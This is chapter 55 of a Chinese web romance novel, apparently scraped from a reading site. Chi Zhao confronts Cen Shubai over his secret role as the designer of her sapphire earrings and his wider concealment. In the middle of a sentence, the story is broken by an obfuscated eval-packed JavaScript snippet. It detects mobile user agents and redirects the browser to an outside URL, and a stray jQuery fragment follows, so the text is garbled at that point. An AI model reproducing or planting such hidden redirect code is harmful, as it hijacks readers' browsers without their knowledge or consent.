默认冷灰
24号文字
方正启体

55. 第 55 章

作者:陈归尘本书字数:K更新时间:
    岑述白在来之前想过很多次迟昭会如何质问他,他又将如何为自己辩解。


    此刻她表情平静,明明他就在她眼前,她的眼睛却像看着很远的地方。


    “岑述白,你到底是谁啊?”


    岑述白不知道迟昭透过他在看向什么,他只看到她眼里的失望和冷淡。


    迟昭细数他过往的身份:


    “在榕溪镇,你是数学老师。”


    “回到京州,你摇身一变,成了J.CHome的老板。”


    以上这些迟昭都慢慢接受了。


    迟昭把春节自驾游那几天定义为“剥洋葱之旅”,她以为经过那几天,她已经了解了大部分的岑述白,没想到竟然还只是停留在表面。


    “现在,你又成了设计师?”


    “岑述白,我说你狡兔三窟,你真当我在夸你啊!”


    在来之前,他就知道他的这层身份瞒不住了。


    他想过主动告诉她的,他踌躇不定时,被她推进了浴室。


    再出来,已经错失了时机。


    岑述白心里像被巨石碾过,他眼帘低垂:“在你这里,我一直都是岑述白。”


    这话岑述白曾说过一次,在他们重逢的时候。


    只是这一次,他不敢直视她的眼睛。


    迟昭也没想到他还是这句话。


    “所以你希望我当做什么都没发生,像个傻子似的被你蒙在鼓里,继续毫无芥蒂地跟你玩什么主人和小狗的游戏吗?”


    迟昭只觉得好笑。


    “你说你不会变,就要求我也得维持原样吗?”


    “岑述白,你把我当什么?”


    岑述白无可辩驳。


    她把手里的蓝宝石耳钉裹在手心,拍到桌上:“这个是你设计的?”


    迟昭原本就在好奇,网友是怎么通过一副耳钉就编造出她模仿Paisley接近岑述白这么一套故事的。


    她和Paisley八竿子打不着,为什么会拥有同款“私人订制”,除非设计师就是岑述白本人。


    岑述白脸上并没有意外。


    这一刻还是来了。


    他敛下眉眼:“是。”


    他承认得那么干脆,迟昭合理推论:“你说你不认识Paisley是在骗我?”


    “不是。”


    岑述白看她的眼神变得忐忑,他试探着去牵她的手,迟昭没有拒绝。


    Paisley品牌首秀那年岑述白才15岁,她自然不会真的以为这俩人之间存在爱情。


    她也好奇这其中的曲折。


    感受到迟昭的体温,岑述白稍微安定了些。


    他娓娓道来。


    “这幅耳钉是我送给我妈妈的礼物。”


    “我妈妈以前很爱漂亮的,但我们在伦敦的生活并不宽裕。我当时还小,没什么钱,随手画了,找工匠做的,原材料也很普通,但我妈很喜欢。”


    “Paisley的品牌首秀,她一直在找搭配礼服的珠宝,看了很多都不满意,Zion无意间给Paisley看了耳钉的照片,她很喜欢。当时我需要用钱,尽管我心里不愿意,但还是把设计授权给Paisley使用了。”


    岑述白边说边观察迟昭的反应,她只是安静地听他说着,并未表态。


    “其实这是一场交易,但Paisley说她很感谢我。这次她愿意帮J.CHome宣传,很大程度上也是因为那次渊源。”


    Paisley的品牌首秀之前,岑述白的妈妈刚查出生病,急需用钱也是为了给妈妈治病。


    岑述白捡起耳钉,放在手心,轻轻抚摸。


    “你手上这对,才是我妈妈的。”


    “她生病以后就没再戴过,我一直留着。有一次去意大利找Zion谈事情,包被偷了,耳钉也跟着不见了。”


    他抬眼看她,仿佛跟手心里的蓝宝石共了情:“它漂泊了很长一段时间,才有了新的主人。”


    “这是天意。”


    岑述白脸上泛起一抹笑意:“我后来都在想,会不会我妈妈怕我一个人太孤单,才指引我去找你的。”


    故事很简单,却隐隐戳中的迟昭的心。


    耳钉指引他找到她的吗?


    迟昭的心口被撕开一个隐秘的伤口,一点一点往外沁着血。


    她突然想,他既然能在她面前装出可怜小狗的模样,会不会别的也掺杂着演戏的成分。


    家访之后,岑述白一直对她避之不及,是从什么时候转变态度的呢?”


    好像就是他见到她戴过这对耳钉之后。


    她可以确信后来的岑述白是全心全意爱她的,可是喜欢的契机呢?紧紧因为“母亲的指引”吗?


    “岑述白,你是从什么时候开始喜欢我的?”


    迟昭不是一个会推翻自己的人。


    她既已确认了他的感情,就不会返过去怀疑,除非有别的她在意的事情发生。


    这两次舆论,迟昭从未相信过他和Paisley的传言,但她提到很多次耳钉。


    联想到自己刚刚说的话,岑述白突然就明白了迟昭这个疑问背后的巨大陷阱。


    他不敢想若是迟昭继续误会下去会是怎么样的结果。


    他一刻不敢耽误:“小满曾经给过你我画的一幅画,你还记得吗?”


    迟昭当然记得。


    那幅画刚开始被岑述白藏在宿舍的大部头教材里,后来被杨小满带回家,交给她看。


    “大概就是那个时候吧。”岑述白极淡的一笑,“那个树上的人,就看了那么一次,怎么都忘不掉。”


    好吧。


    这个问题算他过关。


    迟昭又问:“我生日你送我的耳钉,也是你设计的?”


    “是。”


    这两幅耳钉,是迟昭为数不多的饰品。


    不少人问过迟昭耳钉的品牌,迟昭答不上来,原来它们都出自岑述白之手。


    迟昭的眉头微微蹙起:“春节的旅行,我们在海边,有个女生问耳钉的品牌,当时你怎么说的,你说你忘了,那个时候你明明可以告诉我的。”


    岑述白只是沉默。


    甜言蜜语说一箩筐都嫌不够,真到了剖析自我的时候,反倒一句话也说不出了。


    是的。


    为什么没说呢。


    Zion曾说岑述白有设计的天赋。


    当初,岑述白把蓝宝石耳钉送给岑映安时,她很高兴,说:“你爸以前也爱捣鼓这些小玩意儿,你倒是跟他一样。”


    岑述白厌弃来源于纪明哲的任何东西。包括血脉,以及所谓的什么“设计天赋”。


    沉默是无声的暗流,千言万语都化作一声轻微的叹息。


    迟昭失了耐心:“我现在给你机会解释,你要是不想说,以后都不用再说了。”


    迟昭态度很坚决,岑述白遽然抬眼:“你又赶我走?”


    迟昭故意把事态说得严重:“我怎么放心让一个戴着面具的人跟我待在一个空间里。”


    “岑述白,以前你说我从没主动了解你,所以我专门去了你长大的城市,我尽力去了解你的过去,去认识不同的你,而你呢?”


    “一点小事,你都瞒着我,我怎么知道你还有没有瞒着别的事情?”


    她还在等他的解释。


    但岑述白不知道要为自己辩解什么。


    他想做的事情,无非是想让纪明哲受到应有的惩罚,拿回属于本属于母亲的东西。


    要做到这些,必然要沾染一些他以前所不齿的事情。


    如同他在榕溪镇跟迟昭说的那样,这些只是他不得不去做的事情。


    迟昭跟他相反,她是一个干净又赤诚的人。


    她从始至终都喜欢并尊重摄影这项工作,天真又难得。


    从迟昭拒绝校长给毕业时拍毕业照的提议开始,岑述白就知道她是一个纯粹得近乎执拗的人。


    而他是浑浊的。


    所以他在一开始就选择遮掩真实的自己。


    披上听话温顺的外衣去接近她。


    那些肮脏的,见不得光的,都是他自己的事。


    他不想把迟昭卷进来,平白惹了尘埃。


    他最害怕的,莫过于真实的岑述白或许会把她推远,就像她当初会选择跟霍黎分手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117868|192146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一样。


    或许迟昭说的是对的,他和霍黎在某种程度上来说确实是相似的。


    他们在爱情里都不够纯粹。


    霍黎不知道她想要什么样的感情,扮演一个完美的男朋友。


    他知道她喜欢什么,为了留在她身边,他选择掩藏自己,投她所好。


    他们对迟昭的感情都是真挚的,却不敢摊开真正的自己。


    但他和霍黎又是不一样的。


    岑述白从来就知道自己不算什么良善的人,他也不介意别人怎么看他,但这个“别人”里不包括迟昭。


    她喜欢听话的,纯良的,他都可以伪装,装一辈子也可以。


    至于迟昭喜欢的是伪装后的他还是真实的他,岑述白不在乎,只要他可以一直陪在她身边。


    岑述白近乎急切地想留住她:“小枣,我的确有你不了解的一面,但那些绝不会在你面前出现。”


    迟昭挣开他的手:“别敷衍我,你知道我想听什么。”


    此刻,面对迟昭的质问,岑述白艰难开口:“你说你想认识真正的我,但我不想,我怕失去你。”


    “春节前,你见到了我对付周新立的样子,你差点放弃我,我怎么还敢让你知道更多?”


    说到这里,迟昭大概明白岑述白在犹豫什么了。


    她决定给他最后一次机会。


    “岑述白,我提醒你,你极力隐藏的那些,我不在乎。”


    她在意的是,他隐瞒的背后是对她的不信任。


    岑述白在权衡之后依然选择了沉默。


    他希望他在迟昭心里是干净的。


    岑述白的再一次沉默惹恼了迟昭。


    她像听到什么笑话似的,兀自笑出声。


    迟昭踱步到床边坐下,抬头望向他:“岑述白,你太小看我了。”


    岑述白眉头骤然绞紧,脑袋像被无形的线拉扯着顿挫了一下。


    她打量的目光似乎要将他穿透。


    她沉了一口气,那姿态跟某天清晨,她跟他说起父母故事的样子很像。


    “我很早就自己出去拍摄,去过很多地方。一个女生出门在外,见到的人、遇到的事,远比寻常人想象中要多得多。”


    “我知道人性有多幽暗,也见过世界的残酷。岑述白,如果你觉得我是因为天真善良,或者是因为谁的庇佑才走到今天,未免太轻视我了。”


    “我知道你一直在调查纪明哲和他儿子,也知道周新立已经被人从公司直接带走了。”


    她面色如常,一桩一件地说着岑述白一直瞒着她的事情:“哦还有,那几个灌你酒的人,都受到了不同程度的处罚。”


    她拧着眉,似乎在疑惑,但仔细一瞧,其实是不满。


    “你人在京州,却好像独立于京州商圈之外,年纪轻轻又初来乍到,你借的谁的势,要做什么…其他的,还要我一件件说吗?”


    岑述白僵在原地,迟昭的话像一记无声的惊雷,在他胸腔里炸开。


    岑述白曾怪她从不主动了解自己,迟昭也因为他的抱怨而跟他道歉。


    现在听来,她并非不了解。


    恰恰相反,她用一种近乎残忍的透彻,将他里里外外看了个分明。


    将他刻意的隐瞒和不敢承认的犹豫衬托得更加可悲。


    “所以岑述白,你是什么样的人,我并不是毫无察觉的,我也不在乎。”


    “但是。”


    她的眼睛一动不动地锁定岑述白,一字一句清晰有力:


    “跨年那天我说我不会再对你有所保留,希望你也一样。”


    “你没有做到。”


    她给了岑述白最后的宣判:“今天我问了你两次,你都不肯说,可能是你还不够信任我吧。”


    说完,迟昭起身,直奔玄关去。


    几乎石化的岑述白条件反射般抓住她,向溺水的人下意识抓住浮木。


    她那么骄傲,又说到做到,岑述白当然知道她要去做什么。


    他眼里都是乞求:“小枣。”


    迟昭好像很难再相信他湿润的眼睛。


    她低头:“我给过你机会了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)